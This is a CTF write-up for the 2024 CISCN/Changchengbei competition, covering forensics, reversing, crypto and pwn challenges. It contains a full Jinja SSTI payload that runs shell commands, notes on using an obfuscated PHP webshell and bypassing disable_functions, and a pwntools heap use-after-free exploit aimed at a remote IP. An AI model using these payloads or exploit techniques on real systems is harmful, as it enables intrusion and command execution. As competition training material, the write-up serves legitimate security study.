2024 CISCN&长城杯 WP

2024-12-16 10:39
SfTian
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# 2024 CISCN&长城杯 WP

> 人民的好比赛

## 01 zeroshell_1

### 操作内容：

把拿来的压缩包解压有个流量包分析有个http包的referer内容是base64，用厨子解密就是flag

![img](https://download.imxbt.cn/upload/202412161025412.gif)

### flag值：

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

## 02 zeroshell_2

### 操作内容：

Zeroshell 3.9.0有CVE，用exploit-db的rb配合msfconsole反弹shell在/Database中找到flag

![img](https://download.imxbt.cn/upload/202412161025993.jpg)

### flag值：

flag{c6045425-6e6e-41d0-be09-95682a4f65c4}

## 03 zeroshell_3

### 操作内容：

Netstat -lnp找到有一个202开头的IP

![img](https://download.imxbt.cn/upload/202412161026701.jpg)

### flag值：

flag{202.115.89.103}

## 04 zeroshell_4

### 操作内容：

在/Database目录ls -al可以看到有个.nginx

![img](https://download.imxbt.cn/upload/202412161026843.jpg)

### flag值：

flag{.nginx}

## 05 zeroshell_5

### 操作内容：

此处用nc ncIP nc端口 < .nginx 当作stdin在接收端打开nc -lnvp 端口 > back当作stdout即可拿到二进制文件，拖到ida中能直接找到明文密钥

![img](https://download.imxbt.cn/upload/202412161026104.jpg)

### flag值：

flag{11223344qweasdzxc}

## 06 zeroshell_6

### 操作内容：

运行.nginx之后在/tmp会有循环进程保活，那么就会引用到.nginx，利用grep搜索之后可以看到保活脚本(最后在/var找到了)grep -r ".nginx" /var

![img](https://download.imxbt.cn/upload/202412161027989.jpg)

### flag值：

flag{/var/register/system/startup/scripts/nat/File}

## 07 WinFT_1

### 操作内容：

Powershell直接netstat -ant参考截图

![img](https://download.imxbt.cn/upload/202412161027422.jpg)

### flag值：

flag{miscsecure.com:192.168.116.130:443}

## 08 WinFT_2

### 操作内容：

在计划任务，如下图

![img](https://download.imxbt.cn/upload/202412161027395.jpg)

![image-20241216102832540](https://download.imxbt.cn/upload/202412161028580.png)

### flag值：

flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

09 WinFT_5

### 操作内容：

流量包有个server大小比较大，直接foremost分离出来一个zip，密码碰巧是描述里面的base64

![img](https://download.imxbt.cn/upload/202412161027837.jpg)

### flag值：

flag{a1b2c3d4e5f67890abcdef1234567890-2f4d90a1b7c8e2349d3f56e0a9b01b8a-CBC}

## 09 WinFT_5

### 操作内容：

流量包有个server大小比较大，直接foremost分离出来一个zip，密码碰巧是描述里面的base64

![img](https://download.imxbt.cn/upload/202412161028437.jpg)

### flag值：

flag{a1b2c3d4e5f67890abcdef1234567890-2f4d90a1b7c8e2349d3f56e0a9b01b8a-CBC}

## 10 sc05_1

### 操作内容：

凭感觉推断(运气好罢了)在2024/11/09 16:22:42处有2个同时建立的连接，有一个连接到美国，md5加密一下就出来了

### flag值：

flag{01df5bc2388e287d4cc8f11ea4d31929}

## 11 ezCsky

### 操作内容：

拖入IDA用arm处理器打开，可以在栈空间贴脸看到一个testkey，向上翻还有个rc4_crypt

![img](https://download.imxbt.cn/upload/202412161029481.jpg)

![image-20241216102948443](https://download.imxbt.cn/upload/202412161029487.png)

左侧有xor函数，跳转到You enter a true flag!可以看到下方的大端序即为密文

![image-20241216103002009](https://download.imxbt.cn/upload/202412161030048.png)

由于不知道xor逻辑，只能各种尝试，最终发现是倒序xor

```python
from Crypto.Cipher import ARC4

key = b"testkey"                                                                    
enc = [0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64,                                                                                                       
  0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8,                                                                                                              
  0x63, 0x9E, 0x5B, 0x3D, 0xD9, 0x28, 0x3F, 0xC8, 0x73, 0x06,                                                                                                              
  0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA3, 0x23, 0xAE, 0xCA, 0x40,                                                                                                              
  0xED, 0xD1]

res = ARC4.new(key)                                                                
flag = res.decrypt(bytes(enc))
flag = bytearray(flag)

for i in range(len(flag) - 1, 0 ,-1):                                                                                                                                      
        flag[i-1] ^= flag[i]                                                                                                                                                 
print(flag)    
```

### flag值：

flag{d0f5b330-9a74-11ef-9afd-acde48001122}

## 12 Safe_Proxy

### 操作内容：

使用fenjing进行ssti模板注入。Payload为：

使用post传入参数：

![426c2b74c581937c1f2a01e7b2e54fa](https://download.imxbt.cn/upload/202412161033547.gif)

```
code={%25set+gl%3d'_'*2%2b'globals'%2b'_'*2%25}{%25set+bu%3d'_'*2%2b'builtins'%2b'_'*2%25}{%25set+im%3d'_'*2%2b'i''mport'%2b'_'*2%25}{%25set+hc%3d'so'[%3a%3a-1]%25}{{g.pop[gl][bu][im](hc)['p''open']('cat+/f*>>app.py').read()}}
```

将flag文件打印在app.py页面的尾部。

重新访问app.py即可获得flag。

![image-20241216103327433](https://download.imxbt.cn/upload/202412161033477.png)

### flag值：

flag{3bccc0f4-dfca-43be-93ba-4a2c587bb230}

## 13 hello_web

### 操作内容：

请无视本页面下面的文字

SSd2ZSBsZXQgeW91IGlnbm9yZSB0aGlzIHBhcmFncmFwaC4=

Base加密为：I've let you ignore this paragraph.

那么本页面一定存在提示。F12查看源码可以发现有两个页面，一个是hackme.php另一个是提示。使用文件包含的方式读取这两个文件，会发现一个是php文件另一个是phpinfo文件。分析php文件可以发现，这是一个混淆马，进行仔细分析解密可知，内层解密函数为：@eval($_POST['cmd[66.99']);

尝试可以发现，连接密钥是cmd[66.99

![img](https://download.imxbt.cn/upload/202412161033211.jpg)![image-20241216103414691](https://download.imxbt.cn/upload/202412161034738.png)

使用蚁剑进行连接，发现可以连接，但无法执行命令。根据phpinfo提示，发现是disable_functions禁用了大量的命令执行函数。使用蚁剑的disable_functions插件直接绕过即可执行命令。使用find命令进行全局查找flag。Find / -name “flag”

直接读取flag即可。

### flag值：

flag{7fa13711-118e-46ba-97c0-1d412e0d9128}

## 14 fffffhash

### 操作内容：

Github发现原题：

https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/crypto/fnv/solve/solution_joseph_LLL.sage

直接改下数据进行解密即可。得到020101081b04390001051a020a3d0f0f进行校验。即可得到flag。

![img](https://download.imxbt.cn/upload/202412161034609.gif)

### flag值：

flag{7ba210c2-f03b-4c48-b5d3-c523f20dd078}

## 15 rasnd

### 操作内容：

加密分为两个过程。

1. crypto1()

直接用暴力循环找到合适的 x1 和 x2，使得计算出的 A 和 n 的最大公约数为素数，从而推断出模数 n 的两个素因子 p 和 q。然后利用这两个素因子计算私钥指数 d，得到前半段flag。

2. crypto2()

先用z3解方程，得到p和q。下面就是最基础的rsa加密算法的解密过程了。求出私钥d然后使用私钥d进行解后半段flag。

```python
from Crypto.Util.number import *
from tqdm import trange
n = 
18525513846506175831563759729334399107321460844233190994505090498783093351218530201460704018557718111910673563688865854955581238994847476035163061047080472844913738288191312241552652474564445302264853029924473499855798791895312908454274485506859061410335361020340776516523941545295495868148602830773643381026875615116114542987487721476433319065336287426267130761480149666380372502030176504260183872783044582472269370191940246989122422751136739615150004325135453824753194384675391111774569167783712462987269409467429479975117050818132845256522076975610334620671183269663182420173716768424637453841150288101932060282283
c = 
12092565061875126203146777419524136209293991008847517402367020050067538584421589817896823780450281632257888908525282005401908471053590578919304330901227398490964076046082605352067571504589311506387879145663200685627203086383618876385605299802465546763321856181104635248909007918883511842314387859167479153141071518807976310800715800912922434598966639864227351934779100082251869201327419635778335845542734204635212776352380693446974665264431424098740050582266977513900719650125894714642363459340749031503451895968021061519344479725422682328308860148967765021704752730969629515036468587706756828693721479809573953211546
hint1 = 
2117789396284928955538494629631830279901722075033344485242708796186506061701545362910544780349396590511342342718717569060549269313648469145642279444412904836667483251061673671890825127651416884926163439778819049928663917725126750595616039237178509344130451335391573262418766865178758129361354714489989500910936378069324756437725394481358310486
hint2 = 
46121617974271967295736135112108716088905050360890819930061863458876456744303751629131134572211333291140404662021435889585110481641631066780733392452056644837591340160196351753203344592866475775323730060605004624386976329104900761858010706810631187690819400479350763557994471428570772169051962332816193904205416366733136879488772782088175485170448040123098716142380888785303020040810614219283904840800722864380060942399013241389546657840464823687291133552909223
for x1 in trange(2**11):
    for x2 in range(2**11):
        A = x2 * (hint1 + 0x114) - x1 * (hint2 + 0x514)
        if isPrime(GCD(A, n)):
            p = GCD(A, n)
            q = n // p
            d = inverse(0x10001, (p - 1) * (q - 1))
            print(long_to_bytes(pow(c, d, n)))

from Crypto.Util.number import *

n = 
14581302691212555916083278502439645397238041370035475406126779344600639511143637322640320059430681830741413923894847426573750476698631629568629943135933920419347385832842354697374392989498131828072255450489481812778462977795579457613927824857209254566726209492511234506015225747956122726427272833154780220922151818667181643912754901418400655002805374255806121525842789597175219371921475576854225287577771787933982552125308158761528067432089549432127334340794790636977802392329593399162215706992811893095544527916459441198849281399851917775639982097051030136092694673405355827098368834474621264863247192824991842196297
c = 
7954440013989245337910262430666287958436558133407459521845218063677314992811762649775906648010196422215021709717265025510455096691766378284665144146974890935553663566707049651117885477633018754683655768376560232158346641475771046990495669325468862166854737396238730263702822647267035153141131892750027678869967403663512868816752965265579970395746897380562512210634391316205808723256530408742805569849728321765600049427135123310821237452488717921455866043199092062704144480995088370641048502818060719065673619630371468661427335404193388562052645963776592754837449601118777623355449397232080478410800515409039281165247
hint = 
12768520294607859083739478491354425588086046535894996297736127849435001668613589303105888944036526154850461105541323836773875591747775277021758182627744342384678026282358678053903109701939900236929560121288711856679838848949501610151272181253618726858545924000071463365017696805999401206276483675576263580816343280415962125426066267656836814383033878533310767612179612995463625217364168542747591339975385150641462726311634726990311475198772817439564026165704028636642518327311597477899223257607802992771286324926488802818728414152925384296458068643632845807225606232886858071179561327111145035640807940505391622733429

var('p q')
eq1 = 514 * p - 114 * q - inverse_mod(hint, n)
eq2 = p * q - n
solns = solve([eq1,eq2], p, q, solution_dict=True)[0]
p = solns[p]
q = solns[q]
d = inverse_mod(0x10001, (p-1)*(q-1))

print(long_to_bytes(int(pow(c, d, n))))
```

### flag值：

flag{bfcab7e9-c9df-4f70-9e1a-b58f5b157c91}

## **16 dump**

### 操作内容：

010查看flag得到enc，由于无法动调，直接.\re.exe flag能得到它跑完程序之后对应的十六进制

![img](https://download.imxbt.cn/upload/202412161036194.jpg)

那么就可以用这个生成一个顺序a-z A-Z 0-9的字典来对应flag文件里面的十六进制

.\re.exe abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789={}

1e1f202122232425262728292a2b2c2d2e2f303132333435363702030405060708090a0b0c0d0e0f101112131415161718191a1b001c1d0000000000000001

编写脚本之后用字符对应找出来flag，需要自己包裹一下

![image-20241216103700421](https://download.imxbt.cn/upload/202412161037476.png)

```python
import base64
import string

ans = '23291e24380e1520370e0520000e37121d0f24010139'
dic = string.ascii_letters + string.digits+"="+"{}"
print(dic)
key_dict = "1e1f202122232425262728292a2b2c2d2e2f303132333435363702030405060708090a0b0c0d0e0f101112131415161718191a1b001c1d0000000000000001"
flag = ''
mapper = {}

for i in range(len(dic)):
    char = dic[i]
    key = key_dict[i*2:i*2+2]
    mapper[key] = char

for i in range(len(ans) // 2):
    key = ans[i * 2:i * 2 + 2]
    if key in mapper:
        flag += mapper[key]

print(flag)
```

### flag值：

flag{MTczMDc9MzQ2Ng==}

## **17 anote**

### 操作内容：

逆天C++但是保护只开了Canary是个堆题，经典利用add edit来搞UAF然后构造一个堆溢出，由于Printf可以直接打印指针泄露内存地址，那么就可以搞到backdoor地址劫持跳转到哪里并用伪造堆块覆盖进而执行任意代码。

![img](https://download.imxbt.cn/upload/202412161037080.gif)

```python
from pwn import * 
context(log_level = 'debug', arch = 'amd64')
io = remote('47.94.85.236', 36964)

io.sendlineafter(b'Choice>>', b'1')
io.sendlineafter(b'Choice>>', b'1')
io.sendlineafter(b'Choice>>', b'2')
io.sendlineafter(b'index: ', str(0))
io.recvuntil(b'gift: ')
heap = int(io.recv(9), 16)
print('heap => ' + hex(heap))
io.sendlineafter(b'Choice>>', b'3')
io.sendlineafter(b'index: ', str(0))
io.sendlineafter(b'len: ', str(40))
backdoor = 0x80489CE
io.sendlineafter(b'content: ', p32(backdoor) + p32(0) * 4 + p32(0x21) + p32(heap + 8))
io.sendlineafter(b'Choice>>', b'3')
io.sendlineafter(b'index: ', str(1))
io.sendlineafter(b'len: ', str(40))
io.sendlineafter(b'content: ', p32(heap + 0x8))

io.interactive()
```

### flag值：

flag{43a6ad43-55fb-4a88-bc23-8a3918e7b39c}

2024 CISCN&长城杯 WP

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